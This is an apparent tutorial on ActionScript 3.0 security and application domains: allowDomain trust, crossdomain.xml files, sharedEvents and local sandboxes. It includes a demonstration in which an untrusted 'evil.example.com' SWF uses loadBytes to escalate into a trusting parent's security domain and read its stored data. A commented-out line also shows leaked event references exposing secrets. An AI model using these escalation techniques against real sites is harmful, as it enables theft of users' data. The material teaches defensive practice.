Source: http://www.senocular.com/flash/tutorials/contentdomains/
 
Security Domains, Application Domains, and More in ActionScript 3.0
 
Introduction
If you haven't yet had to bother with the complexities around security 
domains or application domains, consider yourself lucky. Even if you've loaded 
external content in the past (which is when they come into play), the defaults 
probably worked well enough for you then not to have to worry about what they do 
or mean.
But sometimes you will need a little more. You'll want to have more control 
over behavior, or enable functionality that's not possible using the default 
settings. Maybe there's some external content that you're having trouble 
accessing. Or maybe you're just confused about the difference between 
Security.allowDomain and crossdomain.xml files or want to know 
about best practices around security. If so, you're in the right place.
The following tutorial will cover what security and application domains are 
and how they're used in Flash Player, both in terms of providing functionality 
as well as protection through security. 
Table of Contents
Page 1
Page 2
Sandboxing
Sandboxing the process of separating groups of data and/or code execution 
from one another. Sandboxes are especially important in security where, without 
the appropriate trust, two separate pieces of content should not be able to 
interact with each other when they shouldn't. Flash Player's security model uses 
sandboxes known as security domains to separate content this way.
Though security is a primary case for sandboxing, it may not be the only 
reason. You may also want to sandbox two pieces of content to prevent conflicts 
with overlapping naming schemes. Keeping them separate allows them to function 
normally, avoiding any conflict that might have occurred as a result of bringing 
them together. This separation is handled through Flash Player by sandboxes 
known as application domains.
Security Domains
Security domains in Flash are the top level sandboxes. Security domains link 
themselves to a content's source domain, or the domain from which content (e.g. 
a SWF) was loaded. A SWF hosted on the senocular.com would have a security 
domain linked to the senocular.com domain, while a SWF being hosted on 
example.com would have a separate security domain linked to the example.com 
domain name. Having two separate security domains causes the each of the SWFs to 
be run in their own sandboxes within Flash Player.
 
Security domain sandboxes in Flash Player
 
Note: About the Examples
For examples in this tutorial, you'll see subdomains of the same top-level 
domain (example.com, to protect the innocent) used to represent different 
domains. In Flash, different subdomains are seen as different as different 
top-level domains. Example code will also be simplified though complete enough 
that they should mostly work when used as timeline scripts within the Flash 
Professional authoring tool.
Non-executable (non-SWF) content, such as image or text files, is also 
separated into security domains, again using their source domains as the 
determining factor as to which security domain they belong. These domains 
determine how accessibility the content is or even whether the content can be 
loaded at all. More on that is covered in the 
Non-executable Trust section.
For SWFs, security domains separate both data and code execution. Data (e.g. 
variables) in one SWF cannot inherently be accessed by another SWF if they exist 
in separate security domains. Both their data, and the code they execute, are 
cut off from one another in a way that prevents interaction. Attempting to 
access data in another security domain will create a security error.
The following code shows a SWF which attempts to load another SWF - whose 
contents are irrelevant - and access its document class instance (main 
timeline). 
http://same.example.com/parent.swf:
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener(Event.INIT, init);
var url:String = "http://diff.example.com/child.swf";
loader.load(new URLRequest(url)); 
function init(event:Event):void {
 trace(loader.content);
 // SecurityError: Error #2121: Security sandbox violation:
 // Loader.content: http://same.example.com/parent.swf
 // cannot access http://diff.example.com/child.swf.
 // This may be worked around by calling Security.allowDomain.
}
Any attempt of accessing the loaded SWF's content, even tracing the 
Loader.content property as seen above, will fail creating a 
security error if dealing with content in different security domains. 
The separation between security domains also extends into the native 
ActionScript class definitions in Flash Player that are used by all SWFs. 
Different copies of these classes exist in each security sandbox created by 
Flash. For example, the native XML class in one security domain is not the same 
as the XML class in another. If a SWF in one security domain changes the static 
class property 
XML.prettyIndent, it would not be reflected in other 
security domains. 
Consider the following SWF which loads two SWFs from two different domains, 
one from its own domain and one from another. Each of the child SWFs checks the 
value of 
prettyIndent after it's been changed by the parent.
http://same.example.com/parent.swf:
trace(XML.prettyIndent); // 2
XML.prettyIndent = 5;
trace(XML.prettyIndent); // 5
// Same domain:
var sameLoader:Loader = new Loader();
var sameURL:String = "http://same.example.com/child.swf";
sameLoader.load(new URLRequest(sameURL)); 
// Different domain:
var diffLoader:Loader = new Loader();
var diffURL:String = "http://diff.example.com/child.swf";
diffLoader.load(new URLRequest(diffURL));
http://same.example.com/child.swf:
trace("same: " + XML.prettyIndent); // same: 5
http://diff.example.com/child.swf:
trace("diff: " + XML.prettyIndent); // diff: 2
When tracing out the value of static class property 
XML.prettyIndent (whose default value is 2), you can see that the 
SWF originating from the other domain did not reflect the changes made to the 
property while the SWF in the same domain did. Each security sandbox was given 
its own copy of the native ActionScript class definitions.
Trust
Though security domains are inherently sandboxed from one another, expressing 
trust can open up a line of communication or the sharing of data between two 
different SWFs in two different security domains. With trust, code executing in 
one security domain can access data and call methods in another almost as though 
it was part of the same security domain. 
In ActionScript, trust is given to a SWF in a different security domain using 
Security.allowDomain 
(and the similar 
Security.allowInsecureDomain). 
This is a function that code in the trusting security domain must call to grant 
trust to another, or group of other domains based on their source domain names. 
Once executed, code in the trusted domain can script freely within the content 
of the SWF that demonstrated trust. This only works one way; the SWF calling 
allowDomain won't be able to access the other SWF unless it too 
makes the appropriate call to 
allowDomain. 

Security domains with 
trust 
 
Consider the following example where a child SWF calls 
allowDomain to trust its parent:
http://home.example.com/parent.swf:
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener(Event.INIT, init);
var url:String = "http://away.example.com/child.swf";
loader.load(new URLRequest(url));
function init(event:Event):void {
 // (allowDomain has been called by child)
 trace(loader.content); // [object DocumentClass]
}
http://away.example.com/child.swf:
Security.allowDomain("home.example.com");
Without trust, as seen before, access to the content of the child SWF would 
throw an error. But once the loaded SWF has called 
allowDomain, the 
parent can access its content and other data freely. Note that with this 
example, the child SWF still does not have access to the loader's content since 
the parent SWF did not express trust towards 
away.example.com in its 
own call to 
allowDomain.
Trust is an important security concept to understand, and should not be taken 
lightly. Often it may seem easiest to use the wildcard (*) trusting every SWF 
using:
// BE CAREFUL!
Security.allowDomain("*");
Doing so grants any SWF - not just SWFs you load since other SWFs could load 
yours - access to your data and functions in ActionScript. Though you may not 
directly expose any sensitive data, if you have any functions that could be used 
to get such data, they could be abused by a trusted SWF. Trust given through 
allowDomain gives other SWFs a kind of 
anything you can do, I 
can do access. Later, in the 
Merging 
Security Domains section, you'll see it can actually mean more.
If you need to allow SWF to SWF communication but don't want to trust SWFs 
enough to allow trust to their domains, you're not completely out of luck. In 
the 
SWF Communication Without Trust 
section, we'll look out how the 
sharedEvents object can be used to 
bridge this gap.
Non-executable Trust
Trust for non-executable (non-SWF) content has to be handled differently by 
Flash Player since that content cannot execute calls to 
allowDomain 
for express explicit trust. This is where Flash Player uses cross-domain policy 
files. 
Cross-domain policy files are XML files - typically named crossdomain.xml on 
the root of a web domain - that, similar to 
allowDomain, define a 
list of web domains (among other things) that are trusted to load content on the 
server by Flash Player. The following is what a simple cross-domain policy file 
may look like:
http://example.com/crossdomain.xml:
<?xml version="1.0"?> 
<cross-domain-policy>
 <site-control permitted-cross-domain-policies="by-content-type"/>
 <allow-access-from domain="*.example.com"/>
 <allow-access-from domain="www.example-partner.com"/>
</cross-domain-policy>
You can read more about the policy file format from the 
Cross-domain 
policy file specification (adobe.com).
Unlike 
allowDomain, cross-domain policy files provide a 
blanket trust, trusting more than one file - usually all files on a 
domain - rather than single files on an individual basis. This makes 
allowDomain a stronger solution than cross-domain policy files in 
that sense, but Flash Player can't expect content like text, images, and sounds 
to somehow identify domain-specific trust within their own data. So as an 
alternative, Flash Player looks to a single cross-domain policy file when trust 
for such content on a domain is necessary. The sample cross-domain policy file 
above allows SWFs located on any subdomain of 
example.com or 
www.example-partner.com to load and read data from any file located 
on the 
example.com domain.
Policy files don't usually provide trust to SWFs because they already have a 
mechanism for doing that through 
allowDomain. Loading a SWF into 
another SWF will always work regardless if there is a policy file or not. There 
is one exception, when merging a cross-domain SWF into your own security domain. 
More on that will be covered in the 
Merging 
Security Domains section.
When, and only when, a cross-domain policy file is needed, Flash Player 
automatically finds and downloads it from the domain that's part of the original 
request that requires it. This applies to both the standard policy file location 
with crossdomain.xml at the domain root as well as any specific policy file 
location specified by 
Security.loadPolicyfile. 
At the point in time when the content is loaded, policy files are also loaded, 
grouped in with the loading process of the content. 
Once loaded, Flash Player analyzes a policy file's tags to see if the hosting 
domain trusts the domain hosting the SWF with its content. If the domain trusts 
the SWF's domain, the content is loaded normally and can be used as if it were 
hosted on the same domain as the SWF. If not, one of two things will happen:
- The content doesn't load or
 
- The content loads, but its data cannot be accessed directly by the loading 
SWF
 
If the content being loaded is strictly data (text, XML, arbitrary binary 
data, etc.) the content won't load at all if not trusted. There wouldn't be any 
point since it couldn't be accessed or serve any purpose if it was. 

Policy file needed 
to load data-only content 
 
However, if the content can still have purpose without the SWF having access 
to reading its data (images, sounds, etc.) then the content will load but only 
in a context in which it will be visible (or audible) to the user. Images, for 
example, can be displayed in Loader objects for a user to see, however without 
trust from a cross-domain file from the hosting domain, operations like 
BitmapData.draw would fail if attempted on that image as it would 
mean providing the SWF with image data.
 
Policy file needed 
to access data of other content 
 
This may be a little confusing since the user is still allowed to access the 
content but the SWF is not. There's a number of different security implications 
that have to be considered when Flash Player is running a SWF. In the end, it 
ultimately comes down to protecting data - the user's data, and the data they 
have access to - from a potentially malicious SWF that would steal and abuse 
that data. It's not so much about preventing what the user of a SWF has access 
to. User's, for example, don't need to worry about cross-domain policy files to 
look at content on the web normally.
This doesn't mean cross-domain policy files should be taken lightly. A lot of 
damage can be done by a domain that uses a permissive cross-domain file like the 
following:
<?xml version="1.0"?> 
<cross-domain-policy>
 <!-- BE CAREFUL! -->
 <allow-access-from domain="*"/>
</cross-domain-policy>
Warning: What it means to allow access to all domains with the 
wildcard (*) in a cross-domain policy file like this: 
All data on the domain 
that any user could potentially access at any point in time can also be 
potentially accessed by any SWF anywhere. 
As a client-side application Flash Player runs under the authentication of 
the current user. This means user data is potentially Flash Player's data. And 
Flash Player's data is potentially the data accessible by any SWF that runs in 
it. By default Flash Player restricts cross-domain content loading for the very 
reason that it can't know what the SWF should have access to and what it 
shouldn't, assuming the only safe data is data on the same domain as the SWF. 
Without this restriction, a SWF could get and do whatever it wanted with any 
data the current user has access to.
Consider a user that uses a web mail client (in the browser) to check their 
email. To access their email, the user logs on to the site with the necessary 
credentials. The user then opens a new tab in their browser to a web site that 
has a malicious SWF out to steal the user's data. Without cross-domain data 
protection, this SWF could load in the URL used to display the users messages 
and read them directly without the user even knowing, all by using his or her 
existing credentials. The same applies to any intranet site accessible to the 
user as well; whatever the user can get to, so can a SWF. Instead, Flash Player 
blocks this data unless the domain explicitly trusts SWFs to access it through 
policy files.
As a rule, you should avoid having a cross-domain policy file on any domain 
that contains sensitive data, even (especially) if user authentication is needed 
to access that data. Should you need to serve data that needs to be consumed by 
remote SWF files, host that data on a separate domain or subdomain. 
| Domain | 
Description | 
Policy file | 
| login.example.com | 
Hosts user data | 
None | 
| feed.example.com | 
Hosts public data | 
Includes: <allow-access-from domain="*" 
/> | 
This keeps sensitive data inaccessible, but still allows SWFs from other 
domains to consume data you wish to be publicly available.
Non-executable Content Without 
Trust
Without trust through cross-domain policy files, Flash Player strictly blocks 
non-SWF content. This is especially true for data-only types such as text; they 
don't even load into the player. If you need content from a domain that you do 
not have control of and that does not have, nor will allow a cross-domain policy 
file trusting your domain, then you are out of options for obtaining that data 
on the Flash Player side of things. A server-side solution, however, is a 
possible remedy.
Policy files are designed to protect data, specifically to protect the user's 
data, or at least data accessible by the user. This data is accessible because 
of Flash Player's rights in the user space. Server-side code execution, on the 
other hand, does not have these same privileges. Server-side code is executed in 
the server space, in fact on a completely different machine from the user, so 
user access is irrelevant when a server is used to obtain data.
Because servers do not have the user's privileges, server code can load data 
from any freely accessible web location without being bound by the same 
cross-domain restrictions used by Flash Player. This means a server-side script 
on the host of a SWF can be used to load content from another domain and then 
present that to the SWF in the same domain. As same-domain content, Flash Player 
wouldn't require a policy file. The content simply appears to be from the same 
domain as the SWF because of a server-side page was able to load it from another 
domain and present it to the SWF as it's own.
The following ActionScript shows an example how of this might work for a 
server-side php script in its own domain that loads and displays data from 
another.
http://home.example.com/loader.swf:
var urlLoader:URLLoader = new URLLoader();
var urlVariables:URLVariables = new URLVariables();
// custom variable used by server page to know
// what remote site to load data from
urlVariables.externalURL = "http://away.example.com/content.txt";
// custom server script reading data from
// externalURL passing it through to it's
// output to be read by this SWF
var serverPage:String = "http://home.example.com/read.php";
var request:URLRequest = new URLRequest(serverPage);
request.data = urlVariables;
urlLoader.load(request);
There are a couple of problems with this approach. For one, it requires that 
you have access to and write code for a server-side environment. This may be a 
hassle if working with a smaller project that has had, up until that point, no 
server-side requirements, or if you have no control over your hosting 
options.
Maybe more importantly, by tunneling the data through your own server, you're 
doubling the amount of web traffic needed to serve the file. First, the file is 
downloaded from the original domain onto your server. Then the file is 
downloaded from your server into the Flash Player client SWF. Not only does this 
increase web traffic in general, it's putting load on your own server where 
otherwise, with a trusting cross-domain file, there would have been none.
Regardless, this is often a solution, and a perfectly secure one, used to get 
past cross-domain policy files used by Flash Player.
SWF Communication Without Trust
There may be times when you want to communicate with another SWF in another 
security domain, possibly from an unknown or unreliable source, but you don't 
want to fully trust that domain, granting it full access to your content data. 
The LoaderInfo class actually offers a mechanism for doing that through a 
property called 
sharedEvents. The 
sharedEvents object 
is a single, trusted EventDispatcher object defined in a LoaderInfo that is 
shared between security domains. Both the SWF loader and the loaded SWF can 
access this object and dispatch and listen for events to and from one 
another.
Events dispatched through the 
sharedEvents object are "blessed" 
and become fully trusted in both domains. This allows any arbitrary data to be 
passed back and forth between different security domains without concern for 
security violations. 
Warning: Be careful; pass the wrong data through the 
sharedEvents object and you can completely open up your SWF to the 
other SWF on the receiving end. Specifically, if an event happens to carry a 
reference to any "connected" object, especially anything that might be on the 
display list, your entire SWF would be exposed to cross-domain scripting. 
Events dispatched through 
sharedEvents should be limited to 
event types that contain only simple data, thereby preventing any chances that 
the other SWF could find a backdoor into scripting your SWF through some deep 
reference. If more complex events types are needed, they should be cleaned 
before they're passed through.
When using the 
sharedEvents object, each SWF would have to make 
sure that they send and receive unique event types since both SWFs reference the 
same instance. The parent SWF would dispatch events of one type and listen for 
events of a different type. The child SWF would listen for the event types 
dispatched by the parent and dispatch those the parent is listening for. Names 
for these event types are completely up to you.
The following example uses 
sharedEvents to communicate simple 
text messages between parent and child SWF in different security domains. The 
parent dispatches events of the type "fromParent" while the child uses 
"fromChild".
http://safe.example.com/parent.swf:
var loader:Loader = new Loader();
var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents;
shared.addEventListener("fromChild", fromChild);
var url:String = "http://untrusted.example.com/child.swf";
loader.load(new URLRequest(url));
function fromChild(event:TextEvent):void {
 trace(event.text); // Good day
 
 var replyMessage:TextEvent = new TextEvent("fromParent");
 replyMessage.text = "Same to you";
 shared.dispatchEvent(replyMessage);
}
http://untrusted.example.com/child.swf:
var shared:EventDispatcher = loaderInfo.sharedEvents;
shared.addEventListener("fromParent", fromParent);
var firstMessage:TextEvent = new TextEvent("fromChild");
firstMessage.text = "Good Day";
shared.dispatchEvent(firstMessage);
 
function fromParent(event:TextEvent):void {
 trace(event.text); // Same to you
}
Any kind of event can be used for passing information back and forth this 
way, event custom events. Again, just be careful not to pass along event data 
that could contain references to other, more sensitive objects, especially not 
objects on the display list. An example of handling this can be found in the 
Stage Owner and Access section.
Merging Security Domains
If trust exists between two domains, a SWF on one of the domains has the 
option of loading a SWF from the other domain into its own security domain. This 
would be equivalent to loading a SWF as if it were on the same domain. 
Trust is handled slightly different in this case. First off, for the domain 
of the parent SWF, nothing specific needs to be done to express trust. The 
simple act of attempting to load another SWF in your own security domain means 
that you are already committing to fully trusting the contents of that SWF.
Secondly, because the child SWF is immediately being loaded into the security 
domain of the loader, it has no opportunity to express trust through 
allowDomain, since by the time it has a chance to call it, it has 
already been instantiated within the other domain's security domain. Trust has 
to be expressed before the SWF even loads. For this, the cross-domain policy 
file is used. This is, in fact, the only time when a cross-domain policy file is 
used to grant trust to a SWF.

Policy files 
needed to for loading cross-domain SWFs in the same security domain 
 
To load another SWF into the security domain of your own, you would need to 
call 
Loader.load with an instance of a 
LoaderContext 
object. The 
securityDomain property of that LoaderContext is set to 
a reference to the current security domain. This is accessible through 
SecurityDomain.currentDomain. 
In setting this value, the loader SWF expresses trust in the SWF that is to be 
loaded, while that SWF expresses trust through a policy file. 
http://host.example.com/parent.swf:
trace(new LocalConnection().domain); // host.example.com
var loader:Loader = new Loader();
// create a LoaderContext that indicates that
// the loaded SWF will be loaded into this
// security domain
var context:LoaderContext = new LoaderContext(true);
context.securityDomain = SecurityDomain.currentDomain;
var url:String = "http://trusting.example.com/child.swf";
loader.load(new URLRequest(url), context);
http://trusting.example.com/crossdomain.xml:
<?xml version="1.0"?> 
<cross-domain-policy>
 <allow-access-from domain="host.example.com"/>
</cross-domain-policy>
http://trusting.example.com/child.swf:
trace(new LocalConnection().domain); // host.example.com
Using the 
domain property of a 
LocalConnection 
instance, the security domain is checked for each SWF. Though the child SWF 
originated from the 
trusting.example.com domain, it's shown as being 
within the 
host.example.com domain because the parent SWF loaded it 
into its own security domain.
The trust given to a SWF loaded into the current security domain goes beyond 
that given through 
allowDomain. Whereas with 
allowDomain you're effectively giving a SWF 
anything you can 
do, I can do permissions, when loading a SWF into the same security 
domain, you give them permissions along the lines of 
I can do 
anything. In the prior case, a SWF can only call into your code, limited 
by what your SWF defines. But when loaded into the same security domain, their 
SWF has no limitations and can do anything SWFs are capable of doing, and doing 
so within the context of your domain. This includes:
- Access to everything in the loader SWF
 
- Reading all files served on the domain 
 
- Reading all files served on other domains that trust the domain
 
- Reading shared object data specific on the domain
 
- Access to local connection communications made to through the domain
 
- Access to socket connections trusting the domain
 
Before introducing a cross-domain SWF into your own security domain, you 
should be sure that you trust them enough to use and not abuse this power.
Using 
load with a LoaderContext with your security domain is not 
the only way to have content load into your own security domain. The Loader 
class also supports another method for loading content called 
loadBytes. Unlike 
load, it does not use a URL to load 
remote content. Instead, it loads content through data already present in SWF in 
the form of a 
ByteArray.
Because 
loadBytes has no way to associate its loaded content 
with a domain - ByteArrays, after all, do not retain any kind of domain 
association - content loaded through 
loadBytes is always loaded 
into the current security domain. This is usually safe enough since to get a 
hold of those bytes to begin with, you'd have to have some kind of trust to do 
so.
http://host.example.com/parent.swf:
trace(new LocalConnection().domain); // host.example.com
var loader:Loader = new Loader();
var urlLoader:URLLoader = new URLLoader();
urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
urlLoader.addEventListener(Event.COMPLETE, bytesLoaded);
// cross-domain policy file required to load data
var url:String = "http://trusting.example.com/childbytes.swf";
urlLoader.load(new URLRequest(url));
function bytesLoaded(event:Event):void {
 loader.loadBytes(urlLoader.data);
}
http://trusting.example.com/crossdomain.xml:
<?xml version="1.0"?> 
<cross-domain-policy>
 <allow-access-from domain="host.example.com"/>
</cross-domain-policy>
http://trusting.example.com/childbytes.swf:
trace(new LocalConnection().domain); // host.example.com
As seen with 
Loader.load with a LoaderContext specifying the 
current secuirty domain, 
loadBytes too, will load content into the 
same security domain as seen by 
LocalConnection.domain for the 
child SWF.
Warning: There is one slight security flaw in the 
loadBytes method. This deals with the differences between a trusted 
SWF in another domain and a SWF loaded into your own domain. Though both are 
trusted, there's no doubt a SWF in the same security domain can do a lot more 
than a trusted SWF in another domain (as listed above). It's the difference 
between 
anything you can do, I can do and 
I can do 
anything. The difference being, there's actually no difference.
With trust, a loaded SWF - even in another security domain - has complete 
access to everything within the loader SWF, including the Loader instance that 
was used to load it. With access to the loader comes access to 
loadBytes which means suddenly the trusted child SWF has the power 
to load arbitrary binary content in the loader SWF's own security domain. In the 
end, trusting a SWF can be just as dangerous as loading it into your own 
security domain since it can load content into your security domain just by 
being loaded at all.
The following example shows just how this can work:
http://good.example.com/parent.swf:
// "you can do I can do" trust only
Security.allowDomain("evil.example.com");
// should be protected
var so:SharedObject = SharedObject.getLocal("foo", "/");
so.data.foo = "bar";
so.flush();
 
var loader:Loader = new Loader();
var url:String = "http://evil.example.com/child.swf";
loader.load(new URLRequest(url));
http://evil.example.com/child.swf:
var so:SharedObject = SharedObject.getLocal("foo", "/");
trace("trust only: " + so.data.foo); // trust only: undefined
var urlLoader:URLLoader = new URLLoader();
urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
urlLoader.addEventListener(Event.COMPLETE, bytesLoaded);
var url:String = "http://evil.example.com/childbytes.swf";
urlLoader.load(new URLRequest(url));
 
function bytesLoadedEvent):void {
 // THREAT! loadBytes to load SWF data into
 // security domain of trusting parent SWF
 loaderInfo.loader.loadBytes(urlLoader.data);
}
http://evil.example.com/childbytes.swf:
var so:SharedObject = SharedObject.getLocal("foo", "/");
trace("same domain: " + so.data.foo); // same domain: bar 
This 
behavior may be changed in future releases of Flash Player, so you shouldn't 
build applications around it. Instead, focus more on the threat of what this 
means when loading and trusting SWF content from other sites: complete access to 
all of your domain's data. 
Stage Owner and Access
When a SWF is first loaded into Flash Player, it is added to the display list 
of the player under the top-most object known as the 
stage. 
This is the root display object of Flash Player itself. Each SWF also has it's 
own root (called 
root) 
which represents the instance of its document class or its main timeline. The 
SWF that instantiated Flash Player has its root placed in the stage while other 
child SWFs are loaded as children of the Loader instances used to load them.
The stage is special in that, though it is itself technically accessible by 
all SWFs on the display list as a part of that display list, it only has one 
owner. Ownership of the stage is given to the SWF that first instantiated Flash 
Player - the SWF whose root is immediately placed in the stage instance. The 
stage owner defines the security domain in the stage is linked. Other SWFs 
wishing to use the stage for specific purposes would have to be either loaded 
into the security domain of the stage owner or have it's security domain trusted 
by it. 
You may have noticed in the past that some applications, or maybe just 
components in them, have failed to function properly when loaded into another 
SWF from a different (untrusted) domain. This is happens because code there 
presumes to have permission to use the stage object when they don't. This can be 
tricky to grasp at first since the stage object itself is accessible, but 
calling certain stage methods like 
addEventListener is not. 
The following list shows what Stage members are restricted when accessed from 
a security domain other than the stage owner's. This list may not be 100% 
accurate, so only use it as a guide.
| addChild | 
addChildAt | 
removeChild | 
| removeChildAt | 
getChildIndex | 
setChildIndex | 
| getChildAt | 
getObjectsUnderPoint | 
swapChildren | 
| swapChildrenAt | 
numChildren | 
tabChildren | 
| mouseChildren | 
width | 
stageWidth | 
| fullScreenWidth | 
height | 
stageHeight | 
| fullScreenHeight | 
quality | 
align | 
| scaleMode | 
displayState | 
fullScreenSourceRect | 
| stageFocusRect | 
showDefaultContextMenu | 
colorCorrection | 
| addEventListener | 
dispatchEvent | 
hasEventListener | 
| willTrigger | 
 | 
 | 
Watch how, in the example below, while 
stage is accessible from 
the child SWF, calls to 
stage.addEventListener are not 
permitted.
http://first.example.com/parent.swf:
var loader:Loader = new Loader();
addChild(loader);
var url:String = "http://second.example.com/child.swf";
loader.load(new URLRequest(url));
http://second.example.com/child.swf:
// Works
trace(stage); // [object Stage]
// Does not work
stage.addEventListener(MouseEvent.CLICK, stageClick);
// SecurityError: Error #2070: Security sandbox violation: 
// caller http://second.example.com/child.swf cannot access 
// Stage owned by http://first.example.com/parent.swf.
Stage ownership is especially painful in terms of events since the 
stage object is often the target for keyboard and mouse events when 
globally detecting key presses or recognizing when the mouse is released outside 
of an object. For a child SWF alone in this situation, there's not a whole lot 
that can be done. However, a parent SWF owning the stage does have the option to 
pass stage events through the 
sharedEvents without having to fully 
commit to trusting the child. This would allow the child SWF to receive the 
necessary events while still protecting the parent. Both SWFs would have to 
coordinate on making this work.
Warning: This use case is a prime example of how 
sharedEvents security can be compromised. Certain mouse events 
reference timeline objects through the 
relatedObject property. If a 
mouse event with that property defined is passed through 
sharedEvents, it would allow the receiving SWF to freely access 
timeline objects in the untrusted domain. When sending any event through 
sharedEvents, these references should be removed. For mouse events, 
new MouseEvent instances can be created with only the necessary information 
carried over from the original.
The following example demonstrates how stage events can be sent through the 
sharedEvents dispatcher. This particular example only forwards a 
MOUSE_OUT event in this manner, though it could be done for any 
number of event types. Note how the parent SWF is protected by using a surrogate 
event.
http://stageowner.example.com/parent.swf:
var combination:String = "1-2-3-4-5"; // secure data
var loader:Loader = new Loader();
var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents;
var url:String = "http://untrusted.example.com/child.swf";
loader.load(new URLRequest(url));
stage.addEventListener(MouseEvent.MOUSE_OUT, forwardMouseEvent);
function forwardMouseEvent(event:MouseEvent):void {
 // THREAT! This can expose relatedObject which could in 
 // turn expose this SWF's otherwise secure data
 //shared.dispatchEvent(event);
 
 // Safer: create surrogate MouseEvent to block
 // access to relatedObject reference
 var safeEvent:MouseEvent = new MouseEvent(event.type);
 safeEvent.altKey = event.altKey;
 safeEvent.buttonDown = event.buttonDown;
 safeEvent.ctrlKey = event.ctrlKey;
 safeEvent.delta = event.delta;
 safeEvent.localX = event.localX;
 safeEvent.localY = event.localY;
 safeEvent.shiftKey = event.shiftKey;
 shared.dispatchEvent(safeEvent);
}
http://untrusted.example.com/child.swf:
var shared:EventDispatcher;
// see if stage events can be accessed
// if not, listen for them through sharedEvents
if (loaderInfo.parentAllowsChild){
 stage.addEventListener(MouseEvent.MOUSE_OUT, stageMouseOut);
}else{
 shared = loaderInfo.sharedEvents;
 shared.addEventListener(MouseEvent.MOUSE_OUT, stageMouseOut);
}
 
function stageMouseOut(event:MouseEvent):void {
 // -- stage mouse out actions here --
 // if through sharedEvents the parent passed a reference
 // to the original event, it's data would be accessible!
 //trace(Object(event.relatedObject).root.combination); // 1-2-3-4-5
}
Thanks to the 
safeEvent MouseEvent instance, the reference to 
the 
relatedObject in the original MouseEvent is no longer 
available. In fact each piece of data which is being exposed is clearly defined 
before the event is dispatched through 
sharedEvents. You should 
always make sure events passed through 
sharedEvents are cleaned in 
this manner.
Local Security Domains
SWF files run locally from your hard drive also exist within their own 
security domains. Local security domains are special cases with unique behavior. 
They are divided into 4 different security sandbox types: 
local-with-file, 
local-with-network, 
local-trusted, and 
application for AIR (AIR is not covered 
in detail here). Together with SWFs on the web, you have a total 5 sandbox 
types. In ActionScript, you can determine the current type through 
Security.sandboxType.
- local-with-file (
Security.LOCAL_WITH_FILE)—This file is 
a local file, has not been trusted by the user, and it is not a SWF file that 
was published with a networking designation. The file may read from local data 
sources but may not communicate with the Internet. 
- local-with-network (
Security.LOCAL_WITH_NETWORK)—This 
SWF file is a local file, has not been trusted by the user, and was published 
with a networking designation. The SWF file can communicate with the Internet 
but cannot read from local data sources. 
- local-trusted (
Security.LOCAL_TRUSTED)—This file is a 
local file and has been trusted by the user, using either the Flash Player 
Settings Manager or a FlashPlayerTrust configuration file. The file can read 
from local data sources and communicate with the Internet. 
- application (
Security.APPLICATION)—This file is running 
in an AIR application, and it was installed with the package (AIR file) for that 
application. By default, files in the AIR application sandbox can cross-script 
any file from any domain (although files outside the AIR application sandbox may 
not be permitted to cross-script the AIR file). By default, files in the AIR 
application sandbox can load content and data from any domain.  
- remote (
Security.REMOTE)—This file is from an Internet 
URL and operates under domain-based sandbox rules. 
Local files have strict rules around security because they have access to 
potentially sensitive material on a user's hard drive. If given the opportunity, 
a malicious SWF could read data from your computer and post it to an untrusted 
server on the web. To prevent that, an untrusted local SWF is only allowed to 
access one or the other, the web (local-with-network) or the local file system 
(local-with-file), not both. Additionally, local SWFs of different types of 
these sandboxes cannot be loaded into the same instance of Flash Player in fear 
that they would work together to access both the file system and the web passing 
data back and forth between them. For example loading a local-with-network SWF 
in a local-with-file SWF is prohibited.
Because there aren't exactly any domain names in the land of the local file 
system, local files determine their sandbox type through a different method. For 
local-with-file and local-with-network, this is handled through a flag saved in 
the published SWF. This flag specifies one or the other, a with-file or 
with-network sandbox. All compiled SWFs have this flag. If they're ever run on 
locally (and not trusted), it is used to determine the local sandbox type.
For trusted local files, a similar problem exists since there isn't exactly a 
root domain from which a cross-domain policy file can be served. Instead local 
files are trusted through a different process; two, in fact. The first is 
through the online 
Global 
Security Settings panel of the 
Flash 
Player Settings Manager. Using a drop-down, you can add file system 
locations that give local SWFs in that location trust.

Flash Player Settings Manager 
 
The other way is through configuration files. Unlike the Settings Manager, 
configuration files do not require that you be connected to the internet to use. 
To specify a SWF or folder of SWFs (including sub folders) place line-separated 
paths in a .cfg file within Flash Player's 
#Security\FlashPlayerTrust 
folder. For Mac and Windows, the locations of this directory are as follows: 
- Windows 95-XP:
C:\Documents and 
Settings\[username]\Application Data\Macromedia\Flash 
Player\#Security\FlashPlayerTrust  
- Windows 
Vista-7:
C:\Users\[username]\AppData\Roaming\Macromedia\Flash 
Player\#Security\FlashPlayerTrust  
- Mac OS 
X:
/Users/[username]/Library/Preferences/Macromedia/Flash 
Player/#Security/FlashPlayerTrust  
Where 
[username] is replaced with your current computer user's 
name.
Both approaches save trust information to your hard drive (the Global 
Security Settings panel as well, using a special file in a Flash Player-specific 
directory). These locations act as forms of cross-domain policy files for your 
local machine. When read by Flash Player, and trust is given to a SWF, the local 
trust flag in the SWF is overridden and the SWF is given local trust, allowing 
it to access content on both the web and the local file system.

Local security domains 
 
One caveat of local trust is that you still cannot import content from a 
remote sandbox with that of a local sandbox, even if the local sandbox is 
local-trusted. Though a local SWF may be trusted, Flash does not allow what 
could be arbitrary content from the web to be elevated to the same levels of 
local trust by bringing it into a local trusted sandbox.
Most player content is designed for the web so the peculiarities of local 
sandboxes are not usually necessary to fully understand. One exception might be 
during development and testing. Flash Pro, for example, will place a SWF in a 
local-trusted sandbox when you test a SWF movie. This can lead to results that 
differ from the actual, deployed version of the SWF since trusted SWFs are 
allowed to do much more. For example you might be able to load content from web 
sites that do not use cross-domain policy files when testing but find that it 
doesn't work once you place your SWF on the web. Always keep this in mind when 
testing; what you see may not always be what you get (in the end).
You can find more information about security in general in the 
Security 
section of the 
Flash 
Player Developer Center (adobe.com).
Application Domains
As seen with security domains, class definitions can be isolated from one 
another when SWFs are in different security sandboxes, each having their own 
complete set of definitions to work with. This separation of class definitions 
(and similar definitions like functions, interfaces, and namespaces) is managed 
by a subdomain of security domains known as application domains. Every 
application domain is contained within one, and only one, security domain, 
though a single security domain can contain any number of application 
domains.

Application 
domains exist inside security domains 
 
While security domains sandbox for security, application domains sandbox for 
definition separation. Specifically, they decide how definition conflicts are 
resolved and what SWF code have inherent access to what definitions. 
